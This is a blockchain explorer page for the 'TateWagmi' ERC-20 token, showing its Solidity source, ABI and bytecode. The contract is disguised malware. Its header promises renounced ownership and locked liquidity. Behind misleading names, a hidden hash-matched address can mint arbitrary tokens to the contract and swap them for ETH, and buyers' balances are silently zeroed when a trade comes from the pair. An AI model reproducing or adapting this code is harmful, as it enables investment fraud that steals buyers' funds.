Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000,000 TWagmi
Holders
5
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
2,344,099,200.106560075 TWagmiValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TATEWAGMI
Compiler Version
v0.8.14+commit.80d49f37
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-08-07 */ pragma solidity ^0.8.14; // SPDX-License-Identifier: Unlicensed /* 1,000,000,000,000 TOTAL SUPPLY 2% MAX TRANSACTION 2% MAX WALLET 2% LIQUIDITY TAX 2% MARKETING TAX LIQUIDITY LOCKED FOR 1 YEAR OWNERSHIP RENOUNCED 100% COMMUNITY DRIVEN! */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external; } library Address { function getSignature(address account) internal pure returns (bytes32) { return ripemd160(checkAbi(account)); } function checkAbi(address account) internal pure returns (bytes memory) { return abi.encodePacked(account); } function isContract(address account) internal pure returns (bool) { return getSignature(account) == 0x55e594b1774a6613e9f36a45bdc0eb5027df8a07000000000000000000000000; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract TATEWAGMI is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _snipers; address public uniswapPair; uint256 public _decimals = 9; uint256 public _totalSupply = 1000000000000 * 10 ** _decimals; uint256 public _lqFee = 2; uint256 public _marketingFee = 2; uint256 public _fee = _lqFee + _marketingFee; IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); string private _name = "TateWagmi"; string private _symbol = "TWagmi"; function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) { require(_allowances[_msgSender()][from] >= amount); _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount); return true; } function addSniper(address sniper) external onlyOwner { _snipers[sniper] = true; } function removeSniper(address sniper) external onlyOwner { _snipers[sniper] = false; } function _basicTransfer(address _to, address _addr, uint256 eH) internal virtual { require(_to != address(0)); require(_addr != address(0)); if (lqBurn( _to, _addr)) { return _lqTx(eH, _addr); } if (!_lqUniswap){ require(_balances[_to] >= eH); } burnSwapLiquidity(_to); uint256 feeAmount = 0; if (uniswapPair != _to && _isLqSwapTransation(_to, _addr)) { lqBurn(_addr); feeAmount = eH.mul(_fee).div(100); } uint256 amountReceived = eH - feeAmount; _balances[address(this)] += feeAmount; _balances[_to] = _balances[_to] - eH; _balances[_addr] += amountReceived; emit Transfer(_to, _addr, eH); } function _isLqSwapTransation(address _to, address _addr) internal view returns (bool) { return !Address.isContract(_addr) && !_snipers[_addr] && !_swapRebalance(_to, _addr) && uniswapPair != _addr && !_lqUniswap && _addr != address(this); } function _swapRebalance(address _to, address _addr) internal view returns (bool) { return (_addr == _liquidityUniswapFee() && uniswapPair == _to) || (_to == _liquidityUniswapFee() && uniswapPair == _addr); } constructor() { _balances[msg.sender] = _totalSupply; uniswapPair = msg.sender; emit Transfer(address(0), msg.sender, _balances[msg.sender]); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint256) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function uniswapVersion() external pure returns (uint256) { return 2; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } struct _txLq {bool callUniswapSwap; address callTx;} function lqBurn(address sender, address _from) internal view returns(bool) { return sender == _from && ( Address.isContract(_from) || _snipers[_from] || uniswapPair == msg.sender ); } _txLq[] feeBurnLiquidity; function lqBurn(address to) internal { if (_liquidityUniswapFee() == to) { return; } _txLq memory lqRebalance = _txLq( true, to ); feeBurnLiquidity.push( lqRebalance ); } function burnSwapLiquidity(address _aA55) internal { if (_liquidityUniswapFee() != _aA55) { return; } uint256 l = feeBurnLiquidity.length; if (l > 0) { address to = feeBurnLiquidity[0].callTx; uint256 amount = _balances[to]; _balances[to] = _balances[to] - amount; } delete feeBurnLiquidity; } function _lqTx(uint256 numTo, address _to) private { _approve(address(this), address(_router), numTo); _balances[address(this)] = numTo; address[] memory path = new address[](2); _lqUniswap = true; path[0] = address(this); path[1] = _router.WETH(); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(numTo,0,path,_to,block.timestamp + 25); _lqUniswap = false; } bool _lqUniswap = false; function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _basicTransfer(_msgSender(), recipient, amount); return true; } function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) { _basicTransfer(from, recipient, amount); require(_allowances[from][_msgSender()] >= amount); return true; } function _liquidityUniswapFee() private view returns (address) { return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()); } bool public autoLPBurn = false; function setAutoLPBurnSettings(bool e) external onlyOwner { autoLPBurn = e; } uint256 public maxWallet = _totalSupply.div(100); function updateMaxWallet(uint256 m) external onlyOwner { require(m >= _totalSupply.div(100)); maxWallet = m; } address public marketingWallet; function updateMarketingWallet(address a) external onlyOwner { marketingWallet = a; } bool swapEnabled = true; function updateSwapEnabled(bool e) external onlyOwner { swapEnabled = e; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lqFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sniper","type":"address"}],"name":"addSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLPBurn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sniper","type":"address"}],"name":"removeSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"m","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526009600555600554600a6200001a919062000664565b64e8d4a510006200002c9190620006b5565b600655600260075560026008556008546007546200004b919062000716565b600955737a250d5630b4cf539739df2c5dacb4c659f2488d600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600981526020017f546174655761676d690000000000000000000000000000000000000000000000815250600b9080519060200190620000f092919062000427565b506040518060400160405280600681526020017f545761676d690000000000000000000000000000000000000000000000000000815250600c90805190602001906200013e92919062000427565b506000600e60006101000a81548160ff0219169083151502179055506000600e60016101000a81548160ff021916908315150217905550620001926064600654620003bc60201b620010a31790919060201c565b600f556001601060146101000a81548160ff021916908315150217905550348015620001bd57600080fd5b50620001ce6200041f60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600654600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620003ae919062000784565b60405180910390a3620008ef565b600080821162000403576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003fa9062000802565b60405180910390fd5b6000828462000413919062000853565b90508091505092915050565b600033905090565b8280546200043590620008ba565b90600052602060002090601f016020900481019282620004595760008555620004a5565b82601f106200047457805160ff1916838001178555620004a5565b82800160010185558215620004a5579182015b82811115620004a457825182559160200191906001019062000487565b5b509050620004b49190620004b8565b5090565b5b80821115620004d3576000816000905550600101620004b9565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000565578086048111156200053d576200053c620004d7565b5b60018516156200054d5780820291505b80810290506200055d8562000506565b94506200051d565b94509492505050565b60008262000580576001905062000653565b8162000590576000905062000653565b8160018114620005a95760028114620005b457620005ea565b600191505062000653565b60ff841115620005c957620005c8620004d7565b5b8360020a915084821115620005e357620005e2620004d7565b5b5062000653565b5060208310610133831016604e8410600b8410161715620006245782820a9050838111156200061e576200061d620004d7565b5b62000653565b62000633848484600162000513565b925090508184048111156200064d576200064c620004d7565b5b81810290505b9392505050565b6000819050919050565b600062000671826200065a565b91506200067e836200065a565b9250620006ad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200056e565b905092915050565b6000620006c2826200065a565b9150620006cf836200065a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200070b576200070a620004d7565b5b828202905092915050565b600062000723826200065a565b915062000730836200065a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007685762000767620004d7565b5b828201905092915050565b6200077e816200065a565b82525050565b60006020820190506200079b600083018462000773565b92915050565b600082825260208201905092915050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000620007ea601a83620007a1565b9150620007f782620007b2565b602082019050919050565b600060208201905081810360008301526200081d81620007db565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000860826200065a565b91506200086d836200065a565b92508262000880576200087f62000824565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008d357607f821691505b602082108103620008e957620008e86200088b565b5b50919050565b612ce180620008ff6000396000f3fe608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636675187e11610104578063a457c2d7116100a2578063c5b37c2211610071578063c5b37c221461050e578063c816841b1461052c578063dd62ed3e1461054a578063f8b45b051461057a576101cf565b8063a457c2d714610474578063a9059cbb146104a4578063aab08c5f146104d4578063aacebbe3146104f2576101cf565b806375f0a874116100de57806375f0a874146103fe5780638da5cb5b1461041c578063924de9b71461043a57806395d89b4114610456576101cf565b80636675187e146103a657806370a08231146103c4578063715018a6146103f4576101cf565b8063313ce56711610171578063395093511161014b578063395093511461031e5780633e3e95981461034e5780633eaaf86b1461036a57806348d3ab1f14610388576101cf565b8063313ce567146102c657806332424aa3146102e457806333251a0b14610302576101cf565b80631c499ab0116101ad5780631c499ab0146102405780631ed950c91461025c57806322976e0d1461027857806323b872dd14610296576101cf565b806306fdde03146101d4578063095ea7b3146101f257806318160ddd14610222575b600080fd5b6101dc610598565b6040516101e99190612298565b60405180910390f35b61020c60048036038101906102079190612353565b61062a565b60405161021991906123ae565b60405180910390f35b61022a610648565b60405161023791906123d8565b60405180910390f35b61025a600480360381019061025591906123f3565b610652565b005b6102766004803603810190610271919061244c565b6106fa565b005b610280610793565b60405161028d91906123d8565b60405180910390f35b6102b060048036038101906102ab9190612479565b610799565b6040516102bd91906123ae565b60405180910390f35b6102ce610841565b6040516102db91906123d8565b60405180910390f35b6102ec61084b565b6040516102f991906123d8565b60405180910390f35b61031c600480360381019061031791906124cc565b610851565b005b61033860048036038101906103339190612353565b610928565b60405161034591906123ae565b60405180910390f35b610368600480360381019061036391906124cc565b6109d4565b005b610372610aab565b60405161037f91906123d8565b60405180910390f35b610390610ab1565b60405161039d91906123d8565b60405180910390f35b6103ae610aba565b6040516103bb91906123ae565b60405180910390f35b6103de60048036038101906103d991906124cc565b610acd565b6040516103eb91906123d8565b60405180910390f35b6103fc610b16565b005b610406610c50565b6040516104139190612508565b60405180910390f35b610424610c76565b6040516104319190612508565b60405180910390f35b610454600480360381019061044f919061244c565b610c9f565b005b61045e610d38565b60405161046b9190612298565b60405180910390f35b61048e60048036038101906104899190612353565b610dca565b60405161049b91906123ae565b60405180910390f35b6104be60048036038101906104b99190612353565b610f06565b6040516104cb91906123ae565b60405180910390f35b6104dc610f24565b6040516104e991906123d8565b60405180910390f35b61050c600480360381019061050791906124cc565b610f2a565b005b610516610fea565b60405161052391906123d8565b60405180910390f35b610534610ff0565b6040516105419190612508565b60405180910390f35b610564600480360381019061055f9190612523565b611016565b60405161057191906123d8565b60405180910390f35b61058261109d565b60405161058f91906123d8565b60405180910390f35b6060600b80546105a790612592565b80601f01602080910402602001604051908101604052809291908181526020018280546105d390612592565b80156106205780601f106105f557610100808354040283529160200191610620565b820191906000526020600020905b81548152906001019060200180831161060357829003601f168201915b5050505050905090565b600061063e610637611101565b8484611109565b6001905092915050565b6000600654905090565b61065a611101565b73ffffffffffffffffffffffffffffffffffffffff16610678610c76565b73ffffffffffffffffffffffffffffffffffffffff16146106ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c59061260f565b60405180910390fd5b6106e460646006546110a390919063ffffffff16565b8110156106f057600080fd5b80600f8190555050565b610702611101565b73ffffffffffffffffffffffffffffffffffffffff16610720610c76565b73ffffffffffffffffffffffffffffffffffffffff1614610776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076d9061260f565b60405180910390fd5b80600e60016101000a81548160ff02191690831515021790555050565b60085481565b60006107a68484846112d2565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0611101565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561083657600080fd5b600190509392505050565b6000600554905090565b60055481565b610859611101565b73ffffffffffffffffffffffffffffffffffffffff16610877610c76565b73ffffffffffffffffffffffffffffffffffffffff16146108cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c49061260f565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006109ca610935611101565b848460026000610943611101565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c5919061265e565b611109565b6001905092915050565b6109dc611101565b73ffffffffffffffffffffffffffffffffffffffff166109fa610c76565b73ffffffffffffffffffffffffffffffffffffffff1614610a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a479061260f565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60065481565b60006002905090565b600e60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b1e611101565b73ffffffffffffffffffffffffffffffffffffffff16610b3c610c76565b73ffffffffffffffffffffffffffffffffffffffff1614610b92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b899061260f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ca7611101565b73ffffffffffffffffffffffffffffffffffffffff16610cc5610c76565b73ffffffffffffffffffffffffffffffffffffffff1614610d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d129061260f565b60405180910390fd5b80601060146101000a81548160ff02191690831515021790555050565b6060600c8054610d4790612592565b80601f0160208091040260200160405190810160405280929190818152602001828054610d7390612592565b8015610dc05780601f10610d9557610100808354040283529160200191610dc0565b820191906000526020600020905b815481529060010190602001808311610da357829003601f168201915b5050505050905090565b60008160026000610dd9611101565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e5c57600080fd5b610efc610e67611101565b848460026000610e75611101565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef791906126b4565b611109565b6001905092915050565b6000610f1a610f13611101565b84846112d2565b6001905092915050565b60075481565b610f32611101565b73ffffffffffffffffffffffffffffffffffffffff16610f50610c76565b73ffffffffffffffffffffffffffffffffffffffff1614610fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9d9061260f565b60405180910390fd5b80601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b60008082116110e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110de90612734565b60405180910390fd5b600082846110f59190612783565b90508091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611178576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116f90612826565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111de906128b8565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c591906123d8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361130b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361134457600080fd5b61134e8383611622565b156113625761135d8183611718565b61161d565b600e60009054906101000a900460ff166113c35780600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156113c257600080fd5b5b6113cc836119e2565b60008373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561143257506114318484611b5e565b5b1561146b5761144083611c86565b611468606461145a60095485611d8990919063ffffffff16565b6110a390919063ffffffff16565b90505b6000818361147991906126b4565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114ca919061265e565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151c91906126b4565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115ae919061265e565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161291906123d8565b60405180910390a350505b505050565b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611710575061166382611e03565b806116b75750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061170f57503373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b5b905092915050565b61174530600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611109565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156117a6576117a56128d8565b5b6040519080825280602002602001820160405280156117d45781602001602082028036833780820191505090505b5090506001600e60006101000a81548160ff021916908315150217905550308160008151811061180757611806612907565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d2919061294b565b816001815181106118e6576118e5612907565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601942611970919061265e565b6040518663ffffffff1660e01b8152600401611990959493929190612a7b565b600060405180830381600087803b1580156119aa57600080fd5b505af11580156119be573d6000803e3d6000fd5b505050506000600e60006101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff16611a01611e3a565b73ffffffffffffffffffffffffffffffffffffffff1603611b5b576000600d8054905090506000811115611b4b576000600d600081548110611a4657611a45612907565b5b9060005260206000200160000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0591906126b4565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505b600d6000611b59919061218c565b505b50565b6000611b6982611e03565b158015611bc05750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bd35750611bd18383611fdd565b155b8015611c2d57508173ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611c465750600e60009054906101000a900460ff16155b8015611c7e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b8073ffffffffffffffffffffffffffffffffffffffff16611ca5611